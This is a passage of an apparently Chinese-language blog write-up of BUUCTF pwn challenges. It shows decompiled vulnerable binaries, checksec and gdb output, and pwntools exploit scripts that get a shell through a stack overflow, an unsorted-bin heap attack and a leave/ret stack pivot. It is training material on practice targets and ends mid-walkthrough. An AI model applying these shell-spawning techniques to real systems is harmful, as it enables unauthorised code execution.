<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">ssize_t</span> <span class="title">vulnerable</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">24</span>]; <span class="comment">// [esp+0h] [ebp-18h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="keyword">return</span> read(<span class="number">0</span>, buf, <span class="number">0x24</span>u);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">shell</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;/bbbbbbbbin_what_the_f?ck__--??/sh&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ ROPgadget --binary wustctf2020_getshell_2  --string <span class="string">&quot;sh&quot;</span></span><br><span class="line">Strings information</span><br><span class="line">============================================================</span><br><span class="line">0x08048670 : sh</span><br></pre></td></tr></table></figure>

<p>有system，有sh.</p>
<p>exp:</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># io = process(&quot;./wustctf2020_getshell_2&quot;)</span></span><br><span class="line">io = remote(<span class="string">&quot;node4.buuoj.cn&quot;</span>,<span class="number">28068</span>)</span><br><span class="line">io.recv()</span><br><span class="line">call_sys = <span class="number">0x08048529</span></span><br><span class="line">sh_add  = <span class="number">0x08048670</span></span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x18</span>+<span class="number">4</span>) + p32(call_sys)+p32(sh_add)</span><br><span class="line">io.sendline(payload)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x39-hitcontraining-magicheap"><a href="#0x39-hitcontraining-magicheap" class="headerlink" title="0x39.hitcontraining_magicheap"></a>0x39.hitcontraining_magicheap</h1><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl __noreturn <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">int</span> v3; <span class="comment">// eax</span></span><br><span class="line">  <span class="keyword">char</span> buf[<span class="number">8</span>]; <span class="comment">// [rsp+0h] [rbp-10h] BYREF</span></span><br><span class="line">  <span class="keyword">unsigned</span> __int64 v5; <span class="comment">// [rsp+8h] [rbp-8h]</span></span><br><span class="line"></span><br><span class="line">  v5 = __readfsqword(<span class="number">0x28</span>u);</span><br><span class="line">  setvbuf(_bss_start, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  setvbuf(<span class="built_in">stdin</span>, <span class="number">0LL</span>, <span class="number">2</span>, <span class="number">0LL</span>);</span><br><span class="line">  <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">  &#123;</span><br><span class="line">    <span class="keyword">while</span> ( <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      menu();</span><br><span class="line">      read(<span class="number">0</span>, buf, <span class="number">8uLL</span>);</span><br><span class="line">      v3 = atoi(buf);</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">3</span> )</span><br><span class="line">        <span class="keyword">break</span>;</span><br><span class="line">      delete_heap();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">if</span> ( v3 &gt; <span class="number">3</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">4</span> )</span><br><span class="line">        <span class="built_in">exit</span>(<span class="number">0</span>);</span><br><span class="line">      <span class="keyword">if</span> ( v3 == <span class="number">4869</span> )</span><br><span class="line">      &#123;</span><br><span class="line">        <span class="keyword">if</span> ( (<span class="keyword">unsigned</span> __int64)magic &lt;= <span class="number">0x1305</span> )</span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;So sad !&quot;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span></span><br><span class="line">        &#123;</span><br><span class="line">          <span class="built_in">puts</span>(<span class="string">&quot;Congrt !&quot;</span>);</span><br><span class="line">          l33t();</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">      <span class="keyword">else</span></span><br><span class="line">      &#123;</span><br><span class="line">LABEL_17:</span><br><span class="line">        <span class="built_in">puts</span>(<span class="string">&quot;Invalid Choice&quot;</span>);</span><br><span class="line">      &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> <span class="keyword">if</span> ( v3 == <span class="number">1</span> )</span><br><span class="line">    &#123;</span><br><span class="line">      create_heap();</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span></span><br><span class="line">    &#123;</span><br><span class="line">      <span class="keyword">if</span> ( v3 != <span class="number">2</span> )</span><br><span class="line">        <span class="keyword">goto</span> LABEL_17;</span><br><span class="line">      edit_heap();</span><br><span class="line">    &#125;</span><br><span class="line">  &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>edit的时候输入的长度任意，写fd和bk为magic的地址，放入unsorted bin中，然后即可get shell</p>
<p>Exp：</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">magic = <span class="number">0x6020A0</span></span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"><span class="comment"># io = remote(&quot;node4.buuoj.cn&quot;,28141)</span></span><br><span class="line">io = process(<span class="string">&quot;./magicheap&quot;</span>)</span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">CreateHeap</span>(<span class="params">size,content</span>):</span></span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Your choice :&#x27;</span>,<span class="string">&#x27;1&#x27;</span>)</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Size of Heap : &#x27;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Content of heap:&#x27;</span>,content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">EditHeap</span>(<span class="params">idx,size,content</span>):</span></span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Your choice :&#x27;</span>,<span class="string">&#x27;2&#x27;</span>)</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Index :&#x27;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Size of Heap : &#x27;</span>,<span class="built_in">str</span>(size))</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Content of heap : &#x27;</span>,content)</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">def</span> <span class="title">DeleteHeap</span>(<span class="params">idx</span>):</span></span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Your choice :&#x27;</span>,<span class="string">&#x27;3&#x27;</span>)</span><br><span class="line">	io.sendlineafter(<span class="string">&#x27;Index :&#x27;</span>,<span class="built_in">str</span>(idx))</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">CreateHeap(<span class="number">0x10</span>,<span class="string">&quot;a&quot;</span>*<span class="number">0x10</span>)</span><br><span class="line">CreateHeap(<span class="number">0x50</span>,<span class="string">&quot;b&quot;</span>*<span class="number">0x50</span>)</span><br><span class="line">CreateHeap(<span class="number">0x10</span>,<span class="string">&quot;c&quot;</span>*<span class="number">0x10</span>)</span><br><span class="line">DeleteHeap(<span class="number">1</span>)</span><br><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*<span class="number">0x10</span>+ p64(<span class="number">0</span>)+p64(<span class="number">0x91</span>) + p64(magic-<span class="number">0x10</span>)+ p64(magic-<span class="number">0x10</span>)</span><br><span class="line">EditHeap(<span class="number">0</span>,<span class="number">0x30</span>,payload)</span><br><span class="line">CreateHeap(<span class="number">0x50</span>,<span class="string">&#x27;eeee&#x27;</span>*<span class="number">0x1</span>)</span><br><span class="line">io.sendlineafter(<span class="string">&#x27;:&#x27;</span>,<span class="string">&#x27;4869&#x27;</span>)</span><br><span class="line"><span class="comment"># gdb.attach(p)</span></span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure>

<h1 id="0x3A-ciscn-2019-s-4"><a href="#0x3A-ciscn-2019-s-4" class="headerlink" title="0x3A.ciscn_2019_s_4"></a>0x3A.ciscn_2019_s_4</h1><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">gwt@ubuntu:~/Desktop$ checksec ciscn_s_4 </span><br><span class="line">[*] &#x27;/home/gwt/Desktop/ciscn_s_4&#x27;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br><span class="line">gwt@ubuntu:~/Desktop$ </span><br></pre></td></tr></table></figure>

<figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br></pre></td><td class="code"><pre><span class="line"><span class="function"><span class="keyword">int</span> __cdecl <span class="title">main</span><span class="params">(<span class="keyword">int</span> argc, <span class="keyword">const</span> <span class="keyword">char</span> **argv, <span class="keyword">const</span> <span class="keyword">char</span> **envp)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  init();</span><br><span class="line">  <span class="built_in">puts</span>(<span class="string">&quot;Welcome, my friend. What&#x27;s your name?&quot;</span>);</span><br><span class="line">  vul();</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">vul</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">char</span> s[<span class="number">40</span>]; <span class="comment">// [esp+0h] [ebp-28h] BYREF</span></span><br><span class="line"></span><br><span class="line">  <span class="built_in">memset</span>(s, <span class="number">0</span>, <span class="number">0x20</span>u);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x30</span>u);</span><br><span class="line">  <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, s);</span><br><span class="line">  read(<span class="number">0</span>, s, <span class="number">0x30</span>u);</span><br><span class="line">  <span class="keyword">return</span> <span class="built_in">printf</span>(<span class="string">&quot;Hello, %s\n&quot;</span>, s);</span><br><span class="line">&#125;</span><br><span class="line"><span class="comment">//还有个后门函数</span></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">hack</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">  <span class="keyword">return</span> system(<span class="string">&quot;echo flag&quot;</span>);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure>

<p>这题输入的定长只有0x30，只能溢出8字节，所以不能ret2libc。</p>
<p>vuln是以leave ret结尾的</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br></pre></td><td class="code"><pre><span class="line">.text:08048595</span><br><span class="line">.text:08048595 ; __unwind &#123;</span><br><span class="line">.text:08048595                 push    ebp</span><br><span class="line">.text:08048596                 mov     ebp, esp</span><br><span class="line">.text:08048598                 sub     esp, 28h</span><br><span class="line">.text:0804859B                 sub     esp, 4</span><br><span class="line">.text:0804859E                 push    20h ; &#x27; &#x27;       ; n</span><br><span class="line">.text:080485A0                 push    0               ; c</span><br><span class="line">.text:080485A2                 lea     eax, [ebp+s]</span><br><span class="line">.text:080485A5                 push    eax             ; s</span><br><span class="line">.text:080485A6                 call    _memset</span><br><span class="line">.text:080485AB                 add     esp, 10h</span><br><span class="line">.text:080485AE                 sub     esp, 4</span><br><span class="line">.text:080485B1                 push    30h ; &#x27;0&#x27;       ; nbytes</span><br><span class="line">.text:080485B3                 lea     eax, [ebp+s]</span><br><span class="line">.text:080485B6                 push    eax             ; buf</span><br><span class="line">.text:080485B7                 push    0               ; fd</span><br><span class="line">.text:080485B9                 call    _read</span><br><span class="line">.text:080485BE                 add     esp, 10h</span><br><span class="line">.text:080485C1                 sub     esp, 8</span><br><span class="line">.text:080485C4                 lea     eax, [ebp+s]</span><br><span class="line">.text:080485C7                 push    eax</span><br><span class="line">.text:080485C8                 push    offset format   ; &quot;Hello, %s\n&quot;</span><br><span class="line">.text:080485CD                 call    _printf</span><br><span class="line">.text:080485D2                 add     esp, 10h</span><br><span class="line">.text:080485D5                 sub     esp, 4</span><br><span class="line">.text:080485D8                 push    30h ; &#x27;0&#x27;       ; nbytes</span><br><span class="line">.text:080485DA                 lea     eax, [ebp+s]</span><br><span class="line">.text:080485DD                 push    eax             ; buf</span><br><span class="line">.text:080485DE                 push    0               ; fd</span><br><span class="line">.text:080485E0                 call    _read</span><br><span class="line">.text:080485E5                 add     esp, 10h</span><br><span class="line">.text:080485E8                 sub     esp, 8</span><br><span class="line">.text:080485EB                 lea     eax, [ebp+s]</span><br><span class="line">.text:080485EE                 push    eax</span><br><span class="line">.text:080485EF                 push    offset format   ; &quot;Hello, %s\n&quot;</span><br><span class="line">.text:080485F4                 call    _printf</span><br><span class="line">.text:080485F9                 add     esp, 10h</span><br><span class="line">.text:080485FC                 nop</span><br><span class="line">.text:080485FD                 leave</span><br><span class="line">.text:080485FE                 retn</span><br><span class="line">.text:080485FE ; &#125; // starts at 8048595</span><br><span class="line">.text:080485FE vul             endp</span><br></pre></td></tr></table></figure>

<p>可以进行栈迁移。</p>
<blockquote>
<p>  假设esp &#x3D;&gt; 0x1111,ebp&#x3D;&gt;0x2222</p>
<p>  那么leave：</p>
<blockquote>
<p>  mov esp,ebp; &#x2F;&#x2F; esp &#x3D; ebp &#x3D; 0x2222</p>
<p>  pop ebp ;&#x2F;&#x2F; ebp &#x3D; [esp]，esp &#x3D; esp+4</p>
</blockquote>
</blockquote>
<p>输入0x20个a查看栈</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line">pwndbg&gt; stack 30</span><br><span class="line">00:0000│ esp  0xffffd048 —▸ 0xffffd098 —▸ 0xffffd0a8 ◂— 0x0</span><br><span class="line">01:0004│      0xffffd04c ◂— 0x30 /* <span class="string">&#x27;0&#x27;</span> */</span><br><span class="line">02:0008│      0xffffd050 —▸ 0xffffd070 ◂— 0x61616161 (<span class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line">03:000c│      0xffffd054 —▸ 0xf7ed9c43 (__read_nocancel+25) ◂— pop    ebx</span><br><span class="line">04:0010│      0xffffd058 ◂— 0x0</span><br><span class="line">05:0014│      0xffffd05c —▸ 0x80485e5 (vul+80) ◂— add    esp, 0x10</span><br><span class="line">06:0018│      0xffffd060 ◂— 0x0</span><br><span class="line">07:001c│      0xffffd064 —▸ 0xffffd070 ◂— 0x61616161 (<span class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line">08:0020│      0xffffd068 ◂— 0x30 /* <span class="string">&#x27;0&#x27;</span> */</span><br><span class="line">09:0024│      0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887</span><br><span class="line">0a:0028│ ecx  0xffffd070 ◂— 0x61616161 (<span class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line">... ↓</span><br><span class="line">12:0048│      0xffffd090 —▸ 0x80486d8 ◂— push   edi</span><br><span class="line">13:004c│      0xffffd094 —▸ 0xffffd154 —▸ 0xffffd327 ◂— <span class="string">&#x27;./ciscn_s_4&#x27;</span></span><br><span class="line">14:0050│ ebp  0xffffd098 —▸ 0xffffd0a8 ◂— 0x0</span><br><span class="line">15:0054│      0xffffd09c —▸ 0x804862a (main+43) ◂— mov    eax, 0</span><br><span class="line">16:0058│      0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0</span><br><span class="line">17:005c│      0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1</span><br></pre></td></tr></table></figure>

<p>可以看到ebp的地址是0xffffd0a8，输入的buf的地址是0xffffd070，相差0x38.</p>
<figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">payload = <span class="string">&#x27;a&#x27;</span>*(<span class="number">0x28</span>)</span><br><span class="line">io.send(payload)</span><br><span class="line">io.recvuntil(<span class="string">&#x27;a&#x27;</span>*<span class="number">0x28</span>)</span><br><span class="line">ebp = u32(io.recv(<span class="number">4</span>))</span><br><span class="line"><span class="built_in">print</span> <span class="built_in">hex</span>(ebp)</span><br></pre></td></tr></table></figure>

<p>第二次构造的payload是这样：</p>
<p><code>payload=(p32(sys_addr)+&#39;aaaa&#39;+p32(buf+12)+&#39;/bin/sh\x00&#39;).ljust(0x28,&#39;a&#39;)+p32(buf_addr-4)+p32(leave)</code></p>
<p>前面的0x28是用来填充，<code>buf_addr</code>是覆写ebp的地址，leave覆写ret的地址。</p>
<p>所有的流程如下：</p>
<p><img src="/2021/07/18/BUU-PWN-0x30-0x3f/1.png" alt="1"></p>
<p>具体的调试情况如下：</p>
<p>执行源程序中的leave前：</p>
<figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br></pre></td><td class="code"><pre><span class="line">EAX  0x8</span><br><span class="line"> EBX  0x0</span><br><span class="line"> ECX  0xffffffff</span><br><span class="line"> EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0</span><br><span class="line"> EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> EBP  0xffffd098 —▸ 0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887</span><br><span class="line"> ESP  0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]</span><br><span class="line"> EIP  0x80485fd (vul+104) ◂— leave  </span><br><span class="line">──────────────────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────────────────</span><br><span class="line">   0x80485ee &lt;vul+89&gt;                     push   eax</span><br><span class="line">   0x80485ef &lt;vul+90&gt;                     push   0x80486ca</span><br><span class="line">   0x80485f4 &lt;vul+95&gt;                     call   <span class="built_in">printf</span>@plt &lt;0x80483e0&gt;</span><br><span class="line"> </span><br><span class="line">   0x80485f9 &lt;vul+100&gt;                    add    esp, 0x10</span><br><span class="line">   0x80485fc &lt;vul+103&gt;                    nop    </span><br><span class="line"> ► 0x80485fd &lt;vul+104&gt;                    leave  </span><br><span class="line">   0x80485fe &lt;vul+105&gt;                    ret    </span><br><span class="line">    ↓</span><br><span class="line">   0x80484b8 &lt;deregister_tm_clones+40&gt;    leave  </span><br><span class="line">   0x80484b9 &lt;deregister_tm_clones+41&gt;    ret    </span><br><span class="line">    ↓</span><br><span class="line">   0x8048400 &lt;system@plt&gt;                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] &lt;0x804a018&gt;</span><br><span class="line"> </span><br><span class="line">   0x8048406 &lt;system@plt+6&gt;               push   0x18</span><br><span class="line">───────────────────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────────────────</span><br><span class="line">00:0000│ esp  0xffffd070 —▸ 0x8048400 (system@plt) ◂— jmp    dword ptr [0x804a018]</span><br><span class="line">01:0004│      0xffffd074 ◂— 0x61616161 (<span class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line">02:0008│      0xffffd078 —▸ 0xffffd07c ◂— <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">03:000c│      0xffffd07c ◂— <span class="string">&#x27;/bin/sh&#x27;</span></span><br><span class="line">04:0010│      0xffffd080 ◂— 0x68732f /* <span class="string">&#x27;/sh&#x27;</span> */</span><br><span class="line">05:0014│      0xffffd084 ◂— 0x61616161 (<span class="string">&#x27;aaaa&#x27;</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure>
<p>执行源程序中的leave后：</p>
<figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"> EAX  0x8</span><br><span class="line"> EBX  0x0</span><br><span class="line"> ECX  0xffffffff</span><br><span class="line"> EDX  0xf7fb8870 (_IO_stdfile_1_lock) ◂— 0x0</span><br><span class="line"> EDI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> ESI  0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line"> EBP  0xffffd06c —▸ 0xf7fb7d60 (_IO_2_1_stdout_) ◂— 0xfbad2887</span><br><span class="line"> ESP  0xffffd09c —▸ 0x80484b8 (deregister_tm_clones+40) ◂— leave  </span><br><span class="line"> EIP  0x80485fe (vul+105) ◂— ret    </span><br><span class="line">─────────────────────────────────────────────[ DISASM ]──────────────────────────────────────────────</span><br><span class="line">   0x80485ef &lt;vul+90&gt;                     push   0x80486ca</span><br><span class="line">   0x80485f4 &lt;vul+95&gt;                     call   printf@plt &lt;0x80483e0&gt;</span><br><span class="line"> </span><br><span class="line">   0x80485f9 &lt;vul+100&gt;                    add    esp, 0x10</span><br><span class="line">   0x80485fc &lt;vul+103&gt;                    nop    </span><br><span class="line">   0x80485fd &lt;vul+104&gt;                    leave  </span><br><span class="line"> ► 0x80485fe &lt;vul+105&gt;                    ret             &lt;0x80484b8; deregister_tm_clones+40&gt;</span><br><span class="line">    ↓</span><br><span class="line">   0x80484b8 &lt;deregister_tm_clones+40&gt;    leave  </span><br><span class="line">   0x80484b9 &lt;deregister_tm_clones+41&gt;    ret    </span><br><span class="line">    ↓</span><br><span class="line">   0x8048400 &lt;system@plt&gt;                 jmp    dword ptr [_GLOBAL_OFFSET_TABLE_+24] &lt;0x804a018&gt;</span><br><span class="line"> </span><br><span class="line">   0x8048406 &lt;system@plt+6&gt;               push   0x18</span><br><span class="line">   0x804840b &lt;system@plt+11&gt;              jmp    0x80483c0</span><br><span class="line">──────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────</span><br><span class="line">00:0000│ esp  0xffffd09c —▸ 0x80484b8 (deregister_tm_clones+40) ◂— leave  </span><br><span class="line">01:0004│      0xffffd0a0 —▸ 0xf7fb73dc (__exit_funcs) —▸ 0xf7fb81e0 (initial) ◂— 0x0</span><br><span class="line">02:0008│      0xffffd0a4 —▸ 0xffffd0c0 ◂— 0x1</span><br><span class="line">03:000c│      0xffffd0a8 ◂— 0x0</span><br><span class="line">04:0010│      0xffffd0ac —▸ 0xf7e1c647 (__libc_start_main+247) ◂— add    esp, 0x10</span><br><span class="line">05:0014│      0xffffd0b0 —▸ 0xf7fb7000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1b2db0</span><br><span class="line">... ↓</span><br><span class="line">07:001c│      0xffffd0b8 ◂— 0x0</span><br></pre></td></tr></table></figure>
<p>执行完源程序中的ret后：</p>
